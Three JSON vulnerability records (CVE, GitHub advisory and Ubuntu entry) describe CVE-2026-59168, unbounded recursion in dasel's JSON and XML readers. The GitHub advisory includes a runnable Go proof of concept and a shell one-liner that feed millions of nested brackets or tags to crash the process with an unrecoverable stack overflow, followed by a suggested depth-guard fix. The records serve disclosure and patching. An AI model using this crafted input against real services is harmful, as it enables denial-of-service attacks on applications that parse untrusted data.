{
  "affected": [
    {
      "affectedData": [
        {
          "product": "dasel",
          "vendor": "TomWright",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.11.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.11.1, parsing/json/json_reader.go decodeValue, decodeObject, and decodeArray, and parsing/xml/reader.go parseElement, recurse once per input nesting level without a depth guard. Deeply nested attacker-controlled JSON or XML supplied through parsing.Format(...).NewReader(...).Read(data), the command-line interface, or the parse selector function can exhaust the Go goroutine stack and raise an unrecoverable fatal error that terminates the entire process. The XML input-size limit does not prevent depth exhaustion, and defer or recover cannot intercept the failure. This issue is fixed in version 3.11.1."
    }
  ],
  "id": "CVE-2026-59168",
  "lastModified": "2026-09-21T21:17:06.380",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.5,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59168",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-21T19:40:35.532900Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-21T17:17:36.500",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/TomWright/dasel/commit/4c91d0d02dc59ce8404709b1bfed7a6fabe62f68"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/TomWright/dasel/releases/tag/v3.11.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-cqxr-jxr2-85pq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-674"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T19:51:07Z",
    "nvd_published_at": "2026-09-21T17:17:36Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`dasel`\u0027s JSON and XML readers parse nested structures with unbounded recursion, one\nnative stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply\nnested document drives the Go runtime past its goroutine stack limit and triggers a\n`fatal error: stack overflow`. This is **unrecoverable**: it is a runtime fatal error, not\na `panic`, so a consumer\u0027s `defer`/`recover` cannot intercept it, the entire process dies.\n\nBoth readers are affected; neither has a depth limit, and the JSON reader additionally has\nno input-size cap (the XML reader caps size at 10 MB but not depth).\n\n## Affected Versions\n\n`github.com/tomwright/dasel/v3` and all v3.x releases through **v3.11.0** (current `main`,\ncommit `abc1e1d`). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope.\n\n## Description\n\n### JSON reader @ `parsing/json/json_reader.go`\n\n`decodeValue` (line 54) dispatches to the mutually-recursive `decodeObject` (line 78) and\n`decodeArray` (line 140). Each calls back into both for nested values\n(`decodeArray`\u2192`decodeArray` at line 151, `decodeObject` at 163; `decodeObject`\u2192`decodeArray`\nat 95, `decodeObject` at 111). Every `[` or `{` in the input adds one stack frame. There is\n**no depth counter and no `len(data)` cap** anywhere in the reader.\n\n### XML reader @`parsing/xml/reader.go`\n\n`parseElement` (line 172) recurses at line 211 for every `xml.StartElement`. The file\ndeclares explicit DoS guards \u2014 `maxXMLSize = 10_000_000`, comment count/length \u2014 but these\nbound **size and comment volume, not nesting depth**. The open tag `\u003ca\u003e` is 3 bytes, so the\n10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size\nlimit fires.\n\n### Reachability (both)\n\nBoth are on the primary public read path: `parsing.Format(\u003cfmt\u003e).NewReader(opts).Read(data)`,\nwith `data` fully attacker-controlled and no depth validation before the recursion. The same\npath backs the `dasel` CLI (`dasel -r json` / `-r xml`). Default reader, no special options.\nGo stack overflow is a `fatal error`, so `recover()` at the call site does not help.\n\n### Precedent in this codebase\n\nDoS hardening on the readers is already an accepted concern here, which is why this is a gap\nrather than a design choice: the XML reader has the `maxXMLSize` cap, and the **YAML reader\nalready implements exactly the fix needed**, `parsing/yaml/yaml_reader.go:31,90-93` returns\n`ErrYamlExpansionDepthExceeded` once `expansionDepth \u003e maxExpansionDepth`. The JSON and XML\nreaders simply lack the equivalent depth guard.\n\n## Proof of Concept\n\nSingle runnable program, public API only (`poc/main.go`, module wired to a local clone via\n`replace`):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"; \"os\"; \"strings\"\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/json\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/xml\"\n)\n\nfunc main() {\n\tmode := \"json\"; if len(os.Args) \u003e 1 { mode = os.Args[1] }\n\tdepth := 6_000_000; if mode == \"xml\" { depth = 3_200_000 }\n\n\tvar data []byte\n\tif mode == \"xml\" {\n\t\tdata = []byte(strings.Repeat(\"\u003ca\u003e\", depth))          // ~9.6MB, under the 10MB cap\n\t} else {\n\t\tdata = []byte(strings.Repeat(\"[\", depth) + strings.Repeat(\"]\", depth)) // ~12MB\n\t}\n\n\tdefer func() { if r := recover(); r != nil { fmt.Println(\"recovered (NOT fatal):\", r) } }()\n\tr, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions())\n\tv, err := r.Read(data)\n\tfmt.Printf(\"Read returned WITHOUT crash: v=%v err=%v\\n\", v != nil, err)\n}\n```\n\n```\ngo run . json    # nested arrays -\u003e fatal error: stack overflow ; ~85 decodeArray frames\ngo run . xml     # nested \u003ca\u003e    -\u003e fatal error: stack overflow ; ~93 parseElement frames\n```\n\nObserved (Go 1.26, default 1 GB goroutine stack):\n- `json` depth 6 M (12 MB): `runtime: goroutine stack exceeds 1000000000-byte limit` \u2192\n  `fatal error: stack overflow`; backtrace dominated by `json.(*jsonReader).decodeArray`.\n  `depth 2 M` completes (~0.83 s), confirming it is depth-driven, not a parse error.\n- `xml` depth 3.2 M (9.6 MB, **under** the 10 MB `maxXMLSize` cap): same fatal overflow;\n  backtrace is an unbroken chain of `xml.(*xmlReader).parseElement` at `reader.go:211`.\n- The deferred `recover()` never fires in either case \u2014 the process exits.\n- CLI equivalents: `printf \u0027\u003ca\u003e%.0s\u0027 {1..3200000} | dasel -r xml`.\n\n## Impact\n\nAn attacker who controls JSON or XML passed to dasel \u2014 via the library `Read` API, the CLI,\nor the `parse(\u0027json\u0027|\u0027xml\u0027, \u2026)` selector function \u2014 crashes the host process with a single\nsmall document. Because the failure is a Go `fatal error` rather than a recoverable panic, a\nconsumer that wraps parsing in `defer`/`recover` is **still** taken down: the whole process\nterminates, killing every in-flight goroutine, not just the parse. Availability only \u2014 no\nconfidentiality or integrity impact. For a library consumer feeding network-sourced data to\n`Read`, this is a remotely triggerable, unrecoverable DoS.\n\n## Suggested Fix\n\nAdd a recursion-depth guard to both readers, mirroring the YAML reader\u0027s existing\n`maxExpansionDepth` / `ErrYamlExpansionDepthExceeded` pattern:\n\n- **JSON** \u2014 thread a `depth int` through `decodeValue`/`decodeObject`/`decodeArray`,\n  increment on descent, return `ErrJSONMaxDepthExceeded` past a conservative bound\n  (e.g. 10 000). Optionally add a `maxJSONSize` cap matching `maxXMLSize` for parity.\n- **XML** \u2014 add a `maxXMLDepth` constant to the existing `Security limits` block and thread\n  a `depth` through `parseElement`, returning a normal error past the bound.\n\nBoth return a clean `error` for pathological input instead of crashing the process,\nconsistent with how the comment-count, size, and YAML-expansion limits already behave. A\nlimit in the low thousands preserves all realistic legitimate documents.",
  "id": "GHSA-cqxr-jxr2-85pq",
  "modified": "2026-09-22T19:51:07Z",
  "published": "2026-09-22T19:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-cqxr-jxr2-85pq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/commit/4c91d0d02dc59ce8404709b1bfed7a6fabe62f68"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/releases/tag/v3.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel: Unbounded recursion in JSON and XML readers causes unrecoverable stack-overflow DoS"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "dasel",
            "binary_version": "2.6.0-1ubuntu0.3+esm2"
          },
          {
            "binary_name": "golang-github-tomwright-dasel-dev",
            "binary_version": "2.6.0-1ubuntu0.3+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "dasel",
        "purl": "pkg:deb/ubuntu/dasel@2.6.0-1ubuntu0.3+esm2?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.0-1",
        "2.6.0-1build1",
        "2.6.0-1ubuntu0.1",
        "2.6.0-1ubuntu0.2",
        "2.6.0-1ubuntu0.2+esm1",
        "2.6.0-1ubuntu0.3",
        "2.6.0-1ubuntu0.3+esm1",
        "2.6.0-1ubuntu0.3+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "dasel",
            "binary_version": "2.8.1-1build1"
          },
          {
            "binary_name": "golang-github-tomwright-dasel-dev",
            "binary_version": "2.8.1-1build1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "dasel",
        "purl": "pkg:deb/ubuntu/dasel@2.8.1-1build1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.8.1-1",
        "2.8.1-1build1"
      ]
    }
  ],
  "aliases": [],
  "details": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.11.1, parsing/json/json_reader.go decodeValue, decodeObject, and decodeArray, and parsing/xml/reader.go parseElement, recurse once per input nesting level without a depth guard. Deeply nested attacker-controlled JSON or XML supplied through parsing.Format(...).NewReader(...).Read(data), the command-line interface, or the parse selector function can exhaust the Go goroutine stack and raise an unrecoverable fatal error that terminates the entire process. The XML input-size limit does not prevent depth exhaustion, and defer or recover cannot intercept the failure. This issue is fixed in version 3.11.1.",
  "id": "UBUNTU-CVE-2026-59168",
  "modified": "2026-09-21T17:17:00Z",
  "published": "2026-09-21T17:17:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-59168"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59168"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/TomWright/dasel/commit/4c91d0d02dc59ce8404709b1bfed7a6fabe62f68"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/TomWright/dasel/releases/tag/v3.11.1"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-cqxr-jxr2-85pq"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-59168"
  ]
}